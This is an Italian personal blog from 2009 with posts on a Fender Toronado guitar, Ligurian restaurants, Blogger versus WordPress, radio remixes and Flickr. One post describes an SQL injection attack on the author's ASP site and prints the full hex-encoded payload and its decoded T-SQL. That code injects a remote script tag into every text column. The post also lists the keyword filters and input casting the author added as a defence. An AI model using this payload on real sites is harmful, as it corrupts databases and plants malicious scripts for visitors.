mercoledì 12 agosto 2009

Et voilà il mio primo gadget. Ultimi posts!

Il post originale è stato pubblicato sul mio blog dedicato allo sviluppo e alla programmazione, Develop Little Things

martedì 11 agosto 2009

Fender® Toronado 98-03

Il modello primigenio della Fender Toronado (il cui esemplare raffigurato nella foto, è stato da me acquistato nel 2002, se non ricordo male) è stato prodotto dal 1998 fino al 2003. Non parlerò dei modelli delle successive produzioni, 2004 e 2006, giacchè non ne ho mai provato alcun esemplare.
Tastiera: 24 3/4"
Pick-ups: fender atomic humbuckers
Corpo in pioppo, manico in acero e tastiera in palissandro
Produzione: Messico
Serie: Mexican Deluxe Serie
Diciamo che si tratta di una Fender del tutto particolare, dal momento che la popolare casa americana ci ha abituato ad altri consueti standard: manico più lungo, prevalenza di pickup single coil, suoni cristallini. Al contrario i punti di forza di questa chitarra sono una discreta potenza garantita dagli humbuckers, un suono molto più "sordo" ed adatto a ritmiche dall'overdrive in su, una netta smorzatura delle frequenze alte. Tutt'altro che versatile, le combinazioni di pickup sono nominalmente 3 (ponte, manico, entrambi) ma producono di fatto due timbriche tipiche: la posizione al ponte offre un meraviglioso suono caratterizzato dalle frequenze medio-alte molto potenti, le basse di supporto e le alte di fatto inesistenti; la posizione al manico (e la sua gemella con entrambi i pickup) offrono frequenze basse in grande quantità (una forte distorsione crunch e le ritmiche stoppate in queste configurazioni sono eccellenti), frequenze medie molto attenuate e una certa "punta" (maggiore nella configurazione al manico) ottima negli assoli puliti un po' blues-eggianti o jazzati.
Il timbro particolare, comunque, non rinuncia ad una certa "fenderità" (concetto difficile da spiegare, se non si sono ascoltate decine di chitarre della suddetta marca) esaltata enormemente (specialmente con suono nasale del pickup al ponte) se accoppiata al più fedele amico della Toronado: il clamoroso AD30 della Orange. La grande dinamica dell'Orange, inoltre, esalta la tendenza della Toronado a distorcere lievemente nel caso si suoni "calcando la mano" e si aumenta, con la pennata, la dinamica di esecuzione: la naturale distorsione della Toronado diventa lievemente crunch grazie alla naturale distorsione dell'AD30 a dinamiche spinte e il risultato è un vero piacere per le orecchie.
Infine l'estetica vintage (le forme sinuose stile jazzmaster o jaguar, il battipenna madreperla, i controlli di tono essenziali) e il grande impatto sonoro di questa chitarra la rendono veramente impagabile nelle prestazioni live (anche perchè la pulizia del suono non è certamente il suo punto di forza).

venerdì 7 agosto 2009

Liguria e cibo, la mia "Top 5": Bakari

Come premessa vorrei illustrare brevemente i criteri che ho seguito per redigere la mia personalissima classifica culinaria ligure. Si tratta in pratica dei cinque ristoranti dove non posso esimermi di recarmi almeno due volte all'anno e questo... è pressoché l'unico criterio: mangio bene, come non mangio altrove. Non dipende dal prezzo, nè dal blasone, nè da altro che non sia l'ottima (e dico ottima!) qualità della cucina. Chiedo scusa agli esclusi eccellenti e procedo con la classifica.

3) Bakari
Vico del fieno, 18 - Genova

Io sono amante della cucina tradizionale regionale, come forse si è capito dai post precedenti. Bakari è tutto tranne che tradizionale e regionale: ma, per Dio!, qui si produce alta cucina. Davvero. Locale originalissimo in tutto: situato in una ex casa chiusa in vico del Fieno, carruggio genovese proprio sotto la principale Piazza De Ferrari e noto per essere il vicolo con più antiquari della città, entrando nel locale si rimane subito colpiti dall'arredamento assai sofisticato (vagamente art decò, sembra arredato da Gaudì).
In un'atmosfera soffusa e riscaldata spesso dalle note di un jazz di sottofondo si è pronti per rimanere attoniti di fronte al menu: svettano nomi quali 'Topini di Cenerentola' o 'Struzzo in Lunigiana' o 'la rivincita di Willy il coyote'. Le ricette, infatti, sono tutte creazioni originali del Deus Ex Machina del locale: il titolare e chef invita, in una nota del menu, ad "astenersi dal richiedere modifiche ai piatti perchè l'amore con cui sono stati creati [...]" non ricordo esattamente il finale ma avrete capito il tono della nota. Per dire: una volta ho incautamente ordinato un dolce ("Così fan tutte", uno sformatino al cioccolato con crema calda di cacao amaro) e per accompagnarlo ho incautamente ordinato del barolo chinato. Mi serviva Lui: mi ha bonariamente insultato (ma non così bonariamente) e mi ha portato un'altro vino liquoroso secondo lui più adatto. Impagabile. Piatti da urlo: La Toscanella (filetto di manzo ai ferri con cremina di olio, limone e pinoli), I taglierini alla norcina (pasta fresca all'aglio, olio, peperoncini e tartufo) il geniale Purè al limone e la stratosferica Millefoglie con cremina calda. Fantastico il "Caffè mio".

Sono tanti anni che lo frequento e il menù presenta di tanto in tanto qualche piccola variazione, ma è tendenzialmente ancorato su alcuni piatti irrinunciabili (quelli citati per esempio): sto cercando di provare tutto, nelle mie frequentazioni, perchè non ho ancora trovato un piatto che non fosse nella peggiore delle ipotesi eccellente e nella migliore divino. Grande scelta di vini (alcuni, per altro, veramente splendidi) e strana e simpatica cortesia: una certa ironia in un atteggiamento molto sofisticato ed elegante.

Per quanto riguarda la mia top5: sono stato un discreto numero di ore a cercare di capire se il terzo posto gli stesse stretto e non meritasse almeno la piazza d'onore (dietro sua Maestà Bruxaboschi) oppure se la medaglia di bronzo sia un giudizio equo. Direi che il ristorante che lo precede nella mia classifica definitiva, Ö Vittorio, lo fa in virtù di una più ampia scelta di menù e questo, se vogliamo, è l'unico piccolissimo limite del nostro Bakari.

giovedì 6 agosto 2009

Impedire un attacco "SQL injection" con ASP Classico

Ci sono cascato come una pera cotta. Essendo un programmatore della domenica, sono stato massacrato da un simpatico attacco Sql Injection sul sito che avevo messo in produzione la settimana prima. Che cosa è un Sql Injection?

In pratica trattasi di codice malizioso inserito con grande fantasia nel querystring chiamante (o nei cookies, o in una chiamata form) una determinata pagina di un sito. Che requisiti deve avere la pagina affinchè lo script abbia la possibilità di funzionare? Analizziamo la casistica querystring (le altre casistiche sono analoghe).

- la pagina deve avere un parametro passato via qs. Ad esempio: mypage.asp?id=123123.
- il programmatore che l'ha sviluppata deve essere un novellino
- colui che lancia l'attacco deve essere un discreto stronzone

In pratica inserendo la porzione di codice in coda alla chiamata della pagina (mypage.asp?id=123123;[script malizioso]) se il programmatore della domenica è un novellino e NON effettua il parsing dei parametri ma, al contrario e per pigrizia, si limita a utilizzarli direttamente nelle chiamate DB tale script finirà inevitabilmente dentro la query passata al db. Se esso è scritto bene (o, meglio, scritto da stronzi veri) si potranno fare inimmaginabili danni al db stesso.

Esempio chiarificatore:

Lo script (apposto come querystring) è qualcosa del genere:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)

Se esso viene eseguito all'interno di una chiamata DB in virtù dell'insipienza del programmatore che NON parsa i parametri, decodificando il comando CAST lo script eseguirà il seguente codice nel vostro DB:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[script src="http://blablabla/0.js"][/script]

''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@C


Come ben potete immaginare (per chi ha familiarità con SQL) esso andrà a scrivere la stringa '[script src="http://blablabla/0.js"][/script]'* all'interno dei campi testuale di tutte le tabelle del vostro db. In sè la stringa è inerte, di fatto vi polverizza il db perchè ogni valore diventerà più o meno inutilizzabile.

Ripristinato l'ultimo backup del DB e colmata la mia lacuna sugli attacchi Sql Injection ho adeguato il sito come segue:

- ho bannato dal mio webserver la famigerata sottorete da cui proveniva la chiamata (corrispondente al provider CHINANET della regione Chongqing, noto covo di proxy)
- ho introdotto in testa a tutte le pagine un filtro a tutte le chiamate querystring, cookie, form che altro non fa che individuare eventuali stringhe sintomo di potenziale attacco (DECLARE, EXEC, CAST) e ridirigendo il simpatico utente a una pagina dummy piuttosto incazzosa nel contenuto
- ho adeguato tutte le chiamate, facendo il parsing di ogni parametro che utilizzo (e, nella fattispecie, utilizzando solo parametri numerici imponendo la conversione a numero di qualunque parametro querystring, cookie, form e invalidando così qualunque testo che non sia un numero)
- ho introdotto un layer nel mio framework di chiamate a database che inibisce qualunque comando DECLARE e EXEC

In attesa che i più sprovveduti, come il sottoscritto, adeguino le proprie pagine (a volte può essere fastidioso perchè se avete centinaia di pagine con centinaia di chiamate che utilizzano centinaia di parametri non filtrati avrete un bel lavoro da compiere), vi lascio col link ad uno script intelligente (per utente IIS, asp) che, chiamato in testa ad ogni pagina, vi concederà il tempo per adeguare come si deve le vostre pagine:

http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

martedì 4 agosto 2009

I miei Demix

Qualche giorno fa ho illustrato la mia tecnica di demixing, utile per isolare una traccia (sovente vocale) da un pezzo per poter successivamente farne il remix.

Correva l'anno 2001 e, poco dopo aver messo a punto la mia tecnica demixatoria (successivamente trasformata in vero e proprio plug-in activeX grazie al valente contributo dello straordinario Enrico R. che ha materialmente scritto il codice), con lo stesso Enrico decidemmo di sperimentarla per il trassh-issimo concorso di Radio DeeJay "Do-Remix".
In pratica, essendo entrambi musicalmente un filino snob, decidemmo di dare in pasto al concorsone non già un remix tradizionale (pezzo famoso trasformato in "tunzi tunzi") ma un remix al contrario (il demix, appunto) prendendoci, per così dire, giuoco delle schiere di tabbozzi incollati alla radio: un bel pezzo tamarro "tunzi tunzi" trasformato in un genere tradizionale.
Il concorso era appena nato e ciò ci facilitò non poco, visto che il materiale che arrivava a radio DJ non era ancora molto, come ci disse lo stesso Molella al telefono, contattato per inviare la robba: tant'è che vincemmo due edizioni nel giro di 20 giorni senza minimamente passare per due burloni che sbertucciavano il programma medesimo (sul fatto che i simpaticoni di radio deejay non abbiano mai recapitato i premi legittimamente conquistati, questo è un vecchio discorso comune ai giochi a quiz radiofonici e non credo abbia a che fare con le nostre prese in giro: se non glielo smenazzi alla grande, nessuno ti regala mai niente).

I due remix che vi propongo sono la quintessenza di ciò che spopolava nelle discoteche a quei tempi: due pezzi di Gigi D'Agostino, stimato compositore del genere dell'epoca. Il primo, Bla bla bla, venne trasformato in pezzo ska e il secondo, Super con la tamarra partecipazione di Albertino, venne trasformato in pezzo surf nelle strofe principali e house stile anni ottanta nei ritornelli: ah, naturalmente, sempre per rafforzare l'idea di presa in giro, essendo un remix l'arte di ricomporre, come pezzi di un puzzle, della musica già suonata da qualcun'altro, noi ci preoccupammo, una volta isolate le voci, di suonare rigorosamente tutto con i cari e vecchi strumenti tradizionali (chitarre, bassi e quant'altro).
Nè il buon Molella (il dj addetto alla presentazione dei remix, nel programma pomeridiano condotto da Paoletta) nè altri si accorsero, però, che il tutto era stato suonato e, come sentirete dalle registrazioni, andarono discretamente in botta nel cercare di capire "da dove" provenissero i campioni utilizzati: con Enrico, ci spanciammo nelle cosidette grasse risate. Vi propongo entrambe le messe in onda del primo pezzo (compresa la conclamata vittoria) e solamente una versione per il secondo pezzo (ho smarrito la registrazione con la seconda storica vittoria).

http://rapidshare.com/files/263613113/Luned__15_Gennaio_2001_-_Radio_Deejay.mp3.html: Bla Bla Bla, versione Ska (prima andata in onda)

http://rapidshare.com/files/263613540/Luned__19_Gennaio_2001_-_Radio_Deejay.mp3.html: Bla Bla Bla, premiazione

http://rapidshare.com/files/263613832/Luned__5_Febbraio_2001_-_Radio_Deejay.mp3.html: Super, versione Surf-house (prima andata in onda)

p.s. ho utilizzato rapidshare, perchè l'amico blogger non mi da la possibilità di inserire media (come invece fa l'amico wordpress). Questo segna un punto decisivo a favore di wordpress, quindi aggiornerò il mio post-recensione delle due piattaforme.

Il mistero di Flickr e delle ragazze esibizioniste

Ho sempre creduto che flickr.com fosse un utile posto dove sharare i propri album fotografici con gli amici, dove backuppare il proprio materiale fotografico, dove pubblicare belle immagini per se e per gli altri (al pari di tanti altri, picasaweb.com su tutti). Non che fosse un covo di ragazzine esibizioniste che credono di essere le algide protagoniste di una sfilata di moda.

Sono capitato per caso (e quando dico per caso, intendo proprio per caso) sul profilo di una simpatica decerebrata milanese (di cui taccio ovviamente il nome/nick) e sfogliando i suoi album sono rimasto allibito dalla vezzosità degenere che costei sfoggiava nel voler caparbiamente esibire: il proprio affettatissimo look diverso ad ogni foto, le proprie scarpe alla moda, il proprio decolté, il proprio bikini, le proprie fattezze, lo sbaciucchiamento del proprio ragazzo, seni vedo e non vedo, culi in penombra. Neanche fossero su qualche rivista glamour di fama internazionale! Ho pensato: ma pensa un po' che fanciulla esibizionista. Dopodichè incuriosito (anche perchè, diciamolo, non è che sia proprio un cofano!) mi sono intrattenuto nel leggere i sagaci commenti delle sue compari svitate che ad ogni sua performance si sdilinquivano in lodi sperticate: una manica di nanocefale snobbette (molto spesso in milano e dintorni) sui cui profili non manca il repertorio di cui sopra (bikini, sbaciucchiamenti, ammiccamenti vari, etc). E si commentano tra di loro con frasi tipo "ma che bella che sei!" o "bella posa, questa!" oppure ancora più smaccatamente "ti amoooooo ma che bella che sei!". Tutte donne. Uno dice: fanciulle più o meno discinte, commenti di maschi assatanati al grido di "ah bbona!", "facce vedè er culo!" e roba simile. Nulla di simile: solo altre fanciulle tutte innamorate tra loro in uno sconcertante intreccio pseudosaffico. Ovviamente si fanno una spietata guerra di popolarità e si blandiscono via commento in perfetto stile femminile "buon viso a cattivo gioco", ma resta lo sbigottimento. Le eccezioni maschili più rilevanti nei commenti sono i "gestori" o, come si autodefiniscono "webmasters", di qualche gruppo dal titolo più o meno folcloristico "bellezze italiane", "l'arte e la bellezza", "non c'è limite alla bellezza" e simili altre amenità. O tempora o mores!

sabato 1 agosto 2009

La più classica delle domande di un blogger: Blogger o Wordpress?

Blogger è più immediato e semplice. E poi è strettamente integrato con google, il che non guasta. Wordpress è più sofisticato, articolato e profondo.
Parità

I template di layout sono molto più numerosi e belli in wordpress.
Wordpress

Entrambi hanno la possibilità di essere customizzati per bene, ma wordpress ti chiede soldi per le manovre più spinte sui css.
Blogger.

Entrambi hanno widgets (wordpress) o gadgets (blogger) ma forse quelli di wordpress sono più numerosi e gratificanti.
Wordpress

Wordpress ha le statistiche integrate. Blogger necessita di ulteriore iscrizione a google analytics (per altro molto facile). Le statistiche di wordpress sono ottime. Blogger, beh... qui parliamo di google quindi sono nettamente superiori.
Parità

Il post di blogger all'inizio sembra troppo scarno rispetto al sofisticato di wordpress, ma alla lunga paga: si fanno post in quattro e quattr'otto.
Blogger

Zio google ci informa che le pagine su blogger (site:blogspot.com) sono la bellezza di 310 milioni (per yahoo 236 milioni) mentre quelle su wordpress "solo" 112 milioni (per yahoo 75 milioni).
Blogger

Il vincitore è: blogger (4-3)

Aggiornamento, 4 Agosto 2009: Wordpress permette l'upload gratuito di grosse quantità di dati (oltre a immagini e video anche mp3, pdf, doc e in pratica qualunque documento condivisibile). Blogger no.
Wordpress

Il nuovo risultato vede entrambe le piattaforme a quota 4, quindi è Parità

Aggiornamento, 4 Agosto 2009: in blogger i commenti sono basati sul feed RSS e hanno una velocità di refresh a dir poco pachidermica. In wordpress essi sono mostrati in tempo reale dal db.
Wordpress

Il nuovo vincitore è Wordpress

Altra domanda classica: google o yahoo?

Google

Liguria e cibo, la mia "Top 5": Da Ö Vittorio

Come premessa vorrei illustrare brevemente i criteri che ho seguito per redigere la mia personalissima classifica culinaria ligure. Si tratta in pratica dei cinque ristoranti dove non posso esimermi di recarmi almeno due volte all'anno e questo... è pressoché l'unico criterio: mangio bene, come non mangio altrove. Non dipende dal prezzo, nè dal blasone, nè da altro che non sia l'ottima (e dico ottima!) qualità della cucina. Chiedo scusa agli esclusi eccellenti e procedo con la classifica.

2) Da Ö Vittorio
Via Roma 160 - Recco

Vittorio è in seconda posizione nella mia personalissima "top5" solo perchè il primo posto era già occupato dal grande bruxaboschi. Ma se per caso volete esplorare la tradizione più marinara della cucina ligure e siete anche in cerca della famosa focaccia con il formaggio di Recco, ecco: è proprio qui che dovete venire. La focaccia con il formaggio di Recco è un ingegnoso piatto monumento al concetto "creare un capolavoro con ingredienti poveri", come del resto spesso accade nella cucina tradizionale. Si tratta di due sottilissimi strati di pasta non lievitata (farina e olio di oliva) farciti con lo stracchino; la cottura avviene in forno a legna. Tutto qui. Se è vero che in liguria la si può trovare un po' ovunque, da "Ö Vittorio" la potete trovare al massimo del suo splendore: descriverla non le rende giustizia, provatela! Tra le specialità di "Ö Vittorio" svettano i primi di pasta fatta in casa (trofiette al pesto da urlo e pansotti al sugo di noci da svenire per citare i cavalli di battaglia) e il pesce, sempre freschissimo e di primissima scelta. Il posto è magnifico, il servizio è ineccepibile.

Nella prossima puntata della saga, ecco a voi qualcosa di completamente differente: l'originalissimo Bakari, nel centro di Genova.

Lost: promo 6 stagione

Si comincia ad avvertire la necessità dei nuovi episodi, quindi anche un promo fresco fresco ha il suo perchè...



Fonte: youtube
Grazie a www.lost-indizi.org per il suo ritrovamento.